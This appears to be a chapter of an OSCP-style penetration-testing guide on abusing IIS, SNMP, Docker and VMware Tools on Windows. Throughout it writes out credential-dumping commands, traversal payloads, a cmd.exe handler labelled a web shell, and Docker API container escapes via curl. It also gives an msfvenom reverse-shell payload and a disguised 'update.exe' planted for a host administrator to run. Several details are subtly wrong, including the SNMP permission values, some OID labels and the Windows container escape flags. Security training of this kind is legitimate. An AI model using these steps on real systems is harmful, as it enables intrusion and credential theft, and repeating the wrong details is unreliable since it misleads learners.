Abusing Windows Features
Windows systems often have additional features and services installed that introduce attack surfaces. This topic covers four common Windows features that, when misconfigured, can lead to privilege escalation, credential disclosure, or container/host escape.
18.1 IIS Misconfigurations
What Is IIS?
Internet Information Services (IIS) is Microsoft’s web server application. It can host websites, web applications, and API endpoints. When installed, IIS creates a complex directory structure, configuration files, and application pools – each of which can be a source of sensitive information.
How IIS Stores Credentials
IIS can store credentials in several locations, primarily in the applicationHost.config file:
C:\Windows\System32\inetsrv\config\applicationHost.config
This file contains:
- Application pool identities with passwords
- Connection strings with database credentials
- Authentication settings with stored credentials
- Virtual directory mappings with credential information
Credentials stored in applicationHost.config are encrypted using DPAPI (Data Protection API). The encryption uses a machine-specific key, meaning:
- If you have local access to the machine, you can decrypt them
- The encrypted values look like:
{DPAPI:002400200480...} - PowerUp’s
Get-SiteListPasswordcan attempt decryption
Finding IIS Configuration Files
Key File Locations
| File | Path | Contains |
|---|---|---|
applicationHost.config |
C:\Windows\System32\inetsrv\config\ |
App pools, sites, global settings, encrypted credentials |
web.config |
C:\inetpub\wwwroot\ (per-site) |
App settings, connection strings, custom configs |
web.config |
Any web application directory | Application-specific settings |
| IIS Logs | C:\inetpub\logs\LogFiles\ |
Access logs, may reveal URLs, parameters |
| Site content | C:\inetpub\wwwroot\ |
Web application source code |
Enumeration Commands
# Check if IIS is installed
Get-WindowsFeature Web-Server
# Or check for the W3SVC service
Get-Service W3SVC
# List all IIS sites
Get-ChildItem IIS:Sites
# Find the main config file
type C:\Windows\System32\inetsrv\config\applicationHost.config
# Search for connection strings in web.config files
Get-ChildItem C:\inetpub\ -Recurse -Filter "web.config" -ErrorAction SilentlyContinue |
ForEach-Object {
Write-Host "`n=== $($_.FullName) ==="
Select-String -Path $_.FullName -Pattern "connectionString|password|credential" -Context 2,2
}
# Search more broadly across the entire system
Get-ChildItem C:\ -Recurse -Filter "web.config" -ErrorAction SilentlyContinue |
Select-Object -First 20 FullName
# Check IIS logs for interesting URLs
Get-ChildItem C:\inetpub\logs\LogFiles\ -Recurse | Select-Object -First 5
Searching for Credentials in applicationHost.config
# Look for encrypted passwords
Select-String -Path "C:\Windows\System32\inetsrv\config\applicationHost.config" -Pattern "DPAPI"
# Look for plaintext passwords (misconfiguration)
Select-String -Path "C:\Windows\System32\inetsrv\config\applicationHost.config" -Pattern "password"
# Look for connection strings
Select-String -Path "C:\Windows\System32\inetsrv\config\applicationHost.config" -Pattern "connectionString"
# Look for app pool identities
Select-String -Path "C:\Windows\System32\inetsrv\config\applicationHost.config" -Pattern "identity"
Using PowerUp for IIS Enumeration
# Import PowerUp
Import-Module .\PowerUp.ps1
# Get applicationHost.config and attempt to decrypt passwords
Get-ApplicationHostConfig
# Attempt to decrypt SiteList passwords
Get-SiteListPassword
# These functions will:
# 1. Read applicationHost.config
# 2. Find encrypted credential entries
# 3. Attempt DPAPI decryption using the current machine context
# 4. Return plaintext passwords if successful
Common IIS Vulnerabilities
1. Weak Application Pool Credentials
Application pools run under specific identities. If a custom identity with a weak password is used:
# Check app pool identities
Get-ChildItem IIS:\AppPools | ForEach-Object {
$pool = Get-Item IIS:\AppPools\$($_.Name)
Write-Host "$($_.Name) : $($pool.processModel.identityType) - $($pool.processModel.userName)"
}
# If identityType = 3 (SpecificUser), the password may be in applicationHost.config
Exploitation:
- Extract the password from
applicationHost.config - Use the credentials to log in as the app pool identity
- If the identity has elevated privileges, escalate
2. Writable web.config
If you can write to a web.config file, you can:
- Inject malicious handlers
- Modify authentication settings
- Add connection strings that exfiltrate data
- Configure custom error pages that execute code
# Check if web.config is writable
icacls C:\inetpub\wwwroot\web.config
# If writable, you could add a malicious handler
# or modify existing settings
3. Directory Traversal
Misconfigured IIS may allow accessing files outside the web root:
# Common traversal paths to try
http://<target>/../windows/win.ini
http://<target>/..%255c..%255cwindows/win.ini
http://<target>/C:/windows/win.ini
4. Web Shell Upload
If you can upload files to the web root:
# Check if .aspx upload is possible
# Upload an ASPX web shell
# Common upload points: file upload forms, avatar uploads, document uploads
# ASPX web shell one-liner
<?xml version="1.0"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read,Script,Write">
<add name="web_config" path="web.config" verb="*" modules="IsapiModule" scriptProcessor="C:\Windows\System32\cmd.exe" resourceType="Unspecified" requireAccess="Write"/>
</handlers>
</system.webServer>
</configuration>
5. Connection String Extraction
Connection strings in web.config often contain database credentials:
<!-- Example web.config with connection string -->
<configuration>
<connectionStrings>
<add name="DBConnection"
connectionString="Server=SQLSERVER01;Database=CompanyDB;User Id=admin;Password=P@ssw0rd123;"
providerName="System.Data.SqlClient" />
</connectionStrings>
</configuration>
Exploitation:
- Extract the database credentials
- Connect to the database server
- If the DB user has
xp_cmdshellaccess, get a system shell - Use credentials for lateral movement
Full IIS Enumeration Walkthrough
# Step 1: Confirm IIS is installed
Get-Service W3SVC
# Expected: Running
# Step 2: List all sites and app pools
Get-ChildItem IIS:Sites
Get-ChildItem IIS:\AppPools
# Step 3: Read applicationHost.config for credentials
type C:\Windows\System32\inetsrv\config\applicationHost.config |
Select-String -Pattern "password|connectionString|identity"
# Step 4: Search for web.config files with sensitive data
Get-ChildItem C:\inetpub\ -Recurse -Filter "web.config" |
ForEach-Object {
Write-Host "`n=== $($_.FullName) ==="
Get-Content $_.FullName |
Select-String -Pattern "connectionString|password|credential|secret"
}
# Step 5: Check IIS logs for interesting activity
Get-ChildItem C:\inetpub\logs\LogFiles\ -Recurse |
Select-Object -First 3 |
ForEach-Object {
Write-Host "`n=== $($_.FullName) ==="
Get-Content $_.FullName -Tail 20
}
# Step 6: Use PowerUp for automated extraction
Import-Module .\PowerUp.ps1
Get-ApplicationHostConfig
Get-SiteListPassword
# Step 7: Check permissions on IIS directories
icacls C:\inetpub\
icacls C:\Windows\System32\inetsrv\config\
# Step 8: Check for writable web directories
Get-ChildItem C:\inetpub\wwwroot\ -Recurse |
ForEach-Object {
$acl = Get-Acl $_.FullName
$writeAccess = $acl.Access | Where-Object {
$_.IdentityReference -like "*Users*" -or
$_.IdentityReference -like "*Everyone*"
}
if ($writeAccess) {
Write-Host "[+] Writable: $($_.FullName)"
}
}
IIS Attack Flow Diagram
graph TD
A[Low-Priv Shell] --> B{IIS Installed?}
B -->|Yes| C[Enumerate IIS Config]
B -->|No| Z[Skip to Next Feature]
C --> D[Read applicationHost.config]
C --> E[Search web.config files]
C --> F[Check IIS Logs]
D --> G{Encrypted Credentials?}
G -->|Yes| H[Use PowerUp to Decrypt]
G -->|No| I{Plaintext Passwords?}
E --> J{Connection Strings?}
J -->|Yes| K[Extract DB Credentials]
J -->|No| L[Check for Writable Config]
H --> M[Use Extracted Credentials]
I -->|Yes| M
K --> N[Lateral Movement to DB]
L -->|Yes| O[Inject Malicious Config]
M --> P[Credential Reuse / Lateral Movement]
N --> P
O --> Q[Web Shell / Code Execution]
Q --> P
F --> R[Recon from Logs]
R --> P
18.2 SNMP Community Strings
What Is SNMP?
Simple Network Management Protocol (SNMP) is used for monitoring and managing network devices. Windows can run an SNMP agent that responds to queries from network management systems.
SNMP uses community strings as a form of authentication – essentially passwords that grant read or write access to the SNMP agent.
SNMP Versions and Security
| Version | Authentication | Security |
|---|---|---|
| SNMPv1 | Community string (plaintext) | Very weak |
| SNMPv2c | Community string (plaintext) | Very weak |
| SNMPv3 | Username + password + encryption | Strong (if configured properly) |
SNMPv1 and SNMPv2c send community strings in cleartext – anyone on the network can capture them with a packet sniffer.
Default Community Strings
The most common default community strings:
| String | Access Level | Description |
|---|---|---|
public |
Read-only | Default read community string |
private |
Read-Write | Default write community string |
community |
Read-only | Alternative default |
admin |
Read-Write | Sometimes used |
password |
Read-Write | Sometimes used |
test |
Read-only | Sometimes used |
manager |
Read-Write | Sometimes used |
Registry Enumeration of SNMP Configuration
# Check if SNMP service is installed
Get-Service SNMPTrap
Get-Service Snmp
# Check SNMP community strings in Registry
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities" /s
# This returns entries like:
# HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities\public
# (Default) REG_DWORD 0x0
# HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities\private
# (Default) REG_DWORD 0x4
# The REG_DWORD value indicates permissions:
# 0x0 = Read-only (noAuthNoPriv)
# 0x4 = Read-Write (authNoPriv)
# Check allowed IP addresses for SNMP
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\PermittedManagers"
# Check if SNMP is configured to accept queries from any IP
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities" |
Findstr "public"
Understanding SNMP OIDs
SNMP organizes information in a hierarchical tree called the MIB (Management Information Base). Each piece of information has an OID (Object Identifier):
| OID Tree | Description | Information Revealed |
|---|---|---|
1.3.6.1.2.1.1 |
System | Hostname, OS, uptime, contact info |
1.3.6.1.2.1.2 |
Interfaces | Network adapters, IP addresses, MAC addresses |
1.3.6.1.2.1.4 |
IP | Routing table, IP statistics |
1.3.6.1.2.1.6 |
TCP | Active TCP connections |
1.3.6.1.2.1.7 |
UDP | Active UDP listeners |
1.3.6.1.2.1.25 |
Host Resources | Running processes, installed software, memory |
1.3.6.1.2.1.25.1.6.0 |
Running Processes | List of all running processes with full paths |
1.3.6.1.2.1.25.4.2.1.2 |
Process Names | Process executable names |
1.3.6.1.2.1.25.4.2.1.4 |
Process Binary | Full path to process executable |
1.3.6.1.4.1.77.1.2.25 |
Windows NT Services | Running services |
1.3.6.1.2.1.25.6.3.1.2 |
Memory Modules | Loaded DLLs and modules |
Attacker-Side Enumeration
Using snmpwalk
# Basic SNMP walk with default community string
snmpwalk -v 2c -c public <target_ip>
# Walk specific OID trees
snmpwalk -v 2c -c public <target_ip> 1.3.6.1.2.1.1 # System info
snmpwalk -v 2c -c public <target_ip> 1.3.6.1.2.1.25.1 # Host resources
snmpwalk -v 2c -c public <target_ip> 1.3.6.1.2.1.25.4.2 # Running processes
# Example output for running processes:
# DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (1234567) 2:05:45.67
# HOST-RESOURCES-MIB::hrRunningSysUpTime.1 = Timeticks: (1234567)
# HOST-RESOURCES-MIB::hrSwRunName.1 = STRING: System
# HOST-RESOURCES-MIB::hrSwRunName.2 = STRING: smss.exe
# HOST-RESOURCES-MIB::hrSwRunPath.2 = STRING: \SystemRoot\System32\smss.exe
# HOST-RESOURCES-MIB::hrSwRunName.3 = STRING: csrss.exe
# HOST-RESOURCES-MIB::hrSwRunPath.3 = STRING: \Windows\System32\csrss.exe
Using snmp-check
# Install snmp-check (Perl script)
# https://github.com/danielmiessler/SecLists/tree/master/Discovery/SNMP
# Basic usage
snmp-check -t <target_ip> -c public
# Try multiple community strings
snmp-check -t <target_ip> -C community-strings.txt
# community-strings.txt might contain:
# public
# private
# community
# admin
# password
# test
# manager
# monitor
# router
# cisco
# changeme
Example snmp-check output:
==========================
Target: 192.168.1.100
Community: public
==========================
[+] System Information:
Hostname: WIN-SERVER01
Contact: IT Admin
Location: Server Room
Uptime: 15 days, 3 hours, 22 minutes
OS: Windows Server 2012 R2
[+] Network Interfaces:
Ethernet0: 192.168.1.100 (UP)
Loopback: 127.0.0.1 (UP)
[+] Running Processes:
[1] System
[2] smss.exe -> \SystemRoot\System32\smss.exe
[3] csrss.exe -> \Windows\System32\csrss.exe
[4] wininit.exe -> \Windows\System32\wininit.exe
[5] services.exe -> \Windows\System32\services.exe
[6] CustomService.exe -> \Program Files\CustomApp\CustomService.exe
[+] Memory Modules:
[1] \Windows\System32\ntdll.dll
[2] \Windows\System32\kernel32.dll
[+] Installed Software:
Custom Application v2.1
VMware Tools v11.0.5
Full SNMP Exploitation Walkthrough
# Step 1: Check if SNMP port is open
nmap -p 161,162 <target_ip>
# Step 2: Try default community strings
snmpwalk -v 2c -c public <target_ip> 1.3.6.1.2.1.1
# Step 3: If public works, enumerate everything
snmp-check -t <target_ip> -c public
# Step 4: Look for:
# - Running processes with full paths (reveals installed software)
# - System information (OS version, hostname)
# - Network configuration (IPs, interfaces)
# - Loaded modules (DLLs, services)
# Step 5: Cross-reference findings
# - If you find an unpatched service running, check for exploits
# - If you find software with known vulnerabilities, exploit it
# - Use hostname and OS info for targeted attacks
# Step 6: If write community string works (e.g., 'private')
# You can potentially:
# - Modify system configuration
# - Restart services
# - Change routing tables
snmpset -v 2c -c private <target_ip> <OID> <type> <value>
SNMP Information Value for OSCP
| Information | OSCP Value |
|---|---|
| Running processes | Reveals custom services, software versions for exploit matching |
| System info | Confirms OS version for exploit selection |
| Network interfaces | Reveals internal IPs for pivot planning |
| Loaded modules | Shows running DLLs, potential attack surfaces |
| Hostname | Useful for domain enumeration and reporting |
18.3 Docker Containers
Docker on Windows Security Model
Docker on Windows uses Hyper-V isolation or process isolation. Unlike Linux containers, Windows containers are heavier but share the same kernel (process isolation) or run in lightweight VMs (Hyper-V isolation).
Key security concepts:
- The Docker daemon runs as SYSTEM on the host
- Anyone with access to the Docker daemon has effective SYSTEM access
- The Docker socket (or named pipe) is the attack surface
- Containers can be configured to access host resources
Unauthenticated Docker Socket Access
If you can run Docker commands without authentication, you have a direct path to host compromise:
# Check if Docker is accessible
docker --version
# Check Docker info (reveals host details)
docker info
# List running containers
docker ps
# List all images
docker images
# Check if you can run containers
docker run --rm hello-world
Container Escape Techniques
Method 1: Mount Host Filesystem
The most straightforward escape – mount the entire host filesystem into a container:
# Mount the entire C: drive
docker run -it --rm -v C:\:/host mcr.microsoft.com/windows:latest cmd
# Inside the container, you now have full access to the host filesystem:
C:\> dir \host\
C:\> type \host\Users\Administrator\ntuser.dat
C:\> dir \host\Windows\System32\config\SAM
# Copy sensitive files out
docker run -it --rm -v C:\:/host -v /tmp:/out mcr.microsoft.com/windows:latest cmd
# Then: copy \host\path\to\secret.txt \out\
Method 2: Privileged Containers
# Run a privileged container with full host access
docker run --privileged -it --rm mcr.microsoft.com/windows:latest cmd
# With privileged mode, the container has:
# - Access to all host devices
# - Bypassed security restrictions
# - Ability to modify host kernel parameters
Method 3: Host Process Namespace
# Run container in the host process namespace
# This gives you visibility into all host processes
docker run -it --rm --security-opt seccomp=unconfined mcr.microsoft.com/windows:latest cmd
# On Windows, use the host network mode
docker run -it --rm --network host mcr.microsoft.com/windows:latest cmd
Method 4: Escalating via Docker API
# If Docker API is exposed (TCP), connect directly
# Default: tcp://localhost:2375
# From inside a container or with API access:
curl http://<host_ip>:2375/containers/json
curl http://<host_ip>:2375/info
# Create a container with host filesystem mounted
curl -X POST http://<host_ip>:2375/containers/create -H "Content-Type: application/json" -d '{
"Image": "mcr.microsoft.com/windows:latest",
"HostConfig": {
"Binds": ["C:\\:/host"]
},
"Cmd": ["cmd.exe"]
}'
# Start the container
curl -X POST http://<host_ip>:2375/containers/<id>/start
Full Docker Enumeration and Exploitation Walkthrough
# Step 1: Check if Docker is installed and accessible
docker --version
# Expected: Docker version 20.10.x, build xxx
# Step 2: Gather Docker information
docker info
# Look for:
# - Operating System
# - Kernel Version
# - Storage Driver
# - Number of Containers
# - Security Options
# Step 3: List running containers
docker ps -a
# Note container names, images, and mount points
# Step 4: Inspect container configurations
docker inspect <container_name>
# Look for:
# - Binds (mounted volumes)
# - Privileged mode
# - Network mode
# - User running the container
# - Capabilities
# Step 5: Check for writable host mounts
docker ps --format "{{.Names}}: {{.Mounts}}"
# Step 6: Attempt container escape
# Try mounting the host filesystem
docker run -it --rm -v C:\:/host mcr.microsoft.com/windows:latest cmd
# Step 7: If successful, access host files
# Read SAM database, NTLM hashes, credentials
dir \host\Windows\System32\config\
type \host\Users\Administrator\Desktop\*.txt
# Step 8: Deploy a reverse shell from the container
# Create a payload and execute on the host
docker run -it --rm -v C:\:/host mcr.microsoft.com/windows:latest cmd
C:\> copy \host\tmp\shell.exe \host\Users\Public\shell.exe
C:\> start \host\Users\Public\shell.exe
Docker Security Checklist
| Check | Command | Risk if Misconfigured |
|---|---|---|
| Docker socket access | docker ps |
Full host compromise |
| Unauthenticated API | curl http://host:2375/info |
Remote container escape |
| Privileged containers | docker inspect <id> |
Host kernel access |
| Host mounts | docker ps --format "{{.Mounts}}" |
Filesystem access |
| Host network mode | docker inspect <id> |
Network access |
18.4 VMware Tools
What Is VMware Tools?
VMware Tools is a suite of utilities installed in Windows virtual machines to improve performance and enable integration between the guest OS and the VMware hypervisor. It includes:
- Time synchronization between host and guest
- Improved graphics drivers
- Shared folders between host and guest (HGFS)
- Drag and drop file transfer
- Copy and paste between host and guest
- Heartbeat monitoring
HGFS (Host Guest File System)
HGFS is the VMware shared folder technology. When configured, it allows the guest VM to access folders on the host system through a special filesystem mount point.
Enumeration
# Step 1: Check if VMware Tools is installed
Get-Service | Where-Object {$_.Name -like "*VMware*"}
# Expected services:
# VMTools - VMware Tools service
# VMMount - VMware VMCI device service
# Step 2: Check for shared folders
dir \\.\hostshared\
# Step 3: Check VMware registry settings
reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
# Look for:
# InstallPath
# Version
# Shared folder configuration
# Step 4: Check for HGFS driver
dir C:\Windows\System32\drivers\hgfs.sys
# Step 5: Check for .vmwareDnD and .vmwareHgfs files
dir C:\Windows\System32\drivers\ | findstr vmware
# Step 6: Check mounted shared folders
mountvol
# Look for HGFS mounts
# Step 7: Check for shared folder entries in Registry
reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools\SharedFolders"
Exploitation
Accessing Shared Folders
# List shared folders
dir \\.\hostshared\
# Access a specific shared folder
dir \\.\hostshared\<folder_name>\
# Read files from the host
type \\.\hostshared\<folder_name>\sensitive_file.txt
# If you have write access:
copy "C:\temp\payload.exe" "\\.\hostshared\<folder_name>\payload.exe"
Writing Malicious Files to Shared Folders
# Step 1: Create a payload
# On attacker machine, create a reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe
# Step 2: Upload to the VM
# Step 3: Copy to shared folder
copy "C:\temp\shell.exe" "\\.\hostshared\shell.exe"
# Step 4: The host administrator can now access this file
# If they execute it, you get a shell on the HOST machine
# Step 5: Alternative - create a script that auto-executes
# Create a .vbs or .bat file in the shared folder
# that the host might execute
HGFS Mount Abuse
# Check if HGFS is mounted as a drive
# Sometimes shared folders appear as network drives
# List all network drives
net use
# Check for VMware-related mounts
Get-PSDrive | Where-Object {$_.Provider -like "*VMware*"}
# Try common HGFS mount points
dir Z:\
dir \\vmware-host\Shared Folders\
Full VMware Tools Exploitation Walkthrough
# Step 1: Confirm VMware Tools is installed
Get-Service VMTools
# Status: Running
# Step 2: Check Registry for configuration
reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
# Note the version and installation path
# Step 3: Check for shared folder access
dir \\.\hostshared\
# If this returns files/directories, shared folders are enabled
# Step 4: Enumerate shared folder contents
Get-ChildItem \\.\hostshared\ -Recurse -ErrorAction SilentlyContinue
# Step 5: Check permissions on shared folders
# Try to write a test file
echo "test" > "\\.\hostshared\test.txt"
# If successful, you have write access
# Step 6: Look for sensitive files in shared folders
Get-ChildItem \\.\hostshared\ -Recurse -Include "*.txt","*.doc","*.xlsx","*.config","*.xml","*.ini" -ErrorAction SilentlyContinue
# Step 7: If write access confirmed, deploy payload
# Create reverse shell
# Copy to shared folder where host admin might access it
copy "C:\temp\shell.exe" "\\.\hostshared\update.exe"
# Step 8: Check for drag-and-drop files
dir C:\Windows\Temp\ | findstr vmware
VMware Information Value
| Finding | Attack Value |
|---|---|
| Shared folders readable | Information disclosure, credential harvesting |
| Shared folders writable | Payload delivery to host, file-based attacks |
| VMware Tools version | Potential known vulnerabilities in older versions |
| HGFS driver present | Confirms VM environment, potential escape vectors |
Windows Features to Check: Quick Checklist
Feature Enumeration Priority
graph TD
A[Low-Priv Shell on Windows] --> B{IIS Installed?}
B -->|Yes| C[Check applicationHost.config]
B -->|No| D{SNMP Running?}
C --> E[Extract credentials / connection strings]
D -->|Yes| F[Check community strings in Registry]
D -->|No| G{Docker Accessible?}
E --> H[Credential Reuse / Lateral Movement]
F --> I[snmpwalk / snmp-check from attacker]
G -->|Yes| J[Container escape via host mount]
G -->|No| K{VMware Tools?}
I --> L[Process enumeration / software versions]
J --> M[Host filesystem access]
K -->|Yes| N[Check shared folders]
K -->|No| O[No feature-based vectors]
N --> P[Read/write host files]
L --> H
M --> H
P --> H
Quick Feature Check Commands
# IIS
Get-Service W3SVC -ErrorAction SilentlyContinue
# SNMP
Get-Service SNMPTrap -ErrorAction SilentlyContinue
Get-Service Snmp -ErrorAction SilentlyContinue
# Docker
docker --version 2>$null
# VMware Tools
Get-Service VMTools -ErrorAction SilentlyContinue
# All at once
@("W3SVC", "SNMPTrap", "Snmp", "VMTools") | ForEach-Object {
$svc = Get-Service $_ -ErrorAction SilentlyContinue
if ($svc) {
Write-Host "[+] Service found: $($_) - $($svc.Status)"
}
}
docker --version 2>$null | ForEach-Object { Write-Host "[+] Docker: $_" }
Feature Comparison Table
| Feature | Port | Key Files | Primary Risk | Detection Difficulty |
|---|---|---|---|---|
| IIS | 80, 443 | applicationHost.config, web.config |
Credential disclosure, web shell | Easy |
| SNMP | 161, 162 (UDP) | Registry: ValidCommunities |
Information disclosure | Medium |
| Docker | N/A (local socket) | Docker socket, container configs | Host escape, full compromise | Easy (if accessible) |
| VMware Tools | N/A (local) | hgfs.sys, \\.\hostshared\ |
Host file access, payload delivery | Medium |
OSCP Exam Tips
IIS
- Always check
applicationHost.configwhen IIS is present – it’s a goldmine for credentials - Search for
web.configfiles recursively – connection strings with DB credentials are common - PowerUp’s
Get-ApplicationHostConfigis your friend – run it early - Connection strings can lead to SQL Server lateral movement – a common OSCP path
SNMP
- SNMP is often overlooked – check port 161 during Nmap scans
- Default community string
publicworks surprisingly often on lab machines - Process enumeration via SNMP can reveal software versions for exploit matching
- Use
snmp-checkfor comprehensive output – it’s faster than manual OID walking
Docker
- If you’re inside a container and can run Docker commands, you’re essentially on the host
- The
-v C:\:/hostmount technique is the fastest escape on Windows Docker - Check if the Docker API is exposed on port 2375 – this allows remote exploitation
VMware Tools
- Check
\\.\hostshared\early – it takes one command and can reveal host files - Write access to shared folders enables payload delivery to the host
- VMware version in Registry can indicate known vulnerabilities
General Tips
- Run all four checks in your enumeration phase – they’re quick and high-value
- SNMP and IIS are the most common on OSCP boxes
- Docker appears on newer boxes – don’t skip it
- VMware is less common but easy to check – always worth the attempt
- Document findings even if exploitation fails – report points matter
For more information, see HackTricks Windows Privilege Escalation and the IIS security documentation.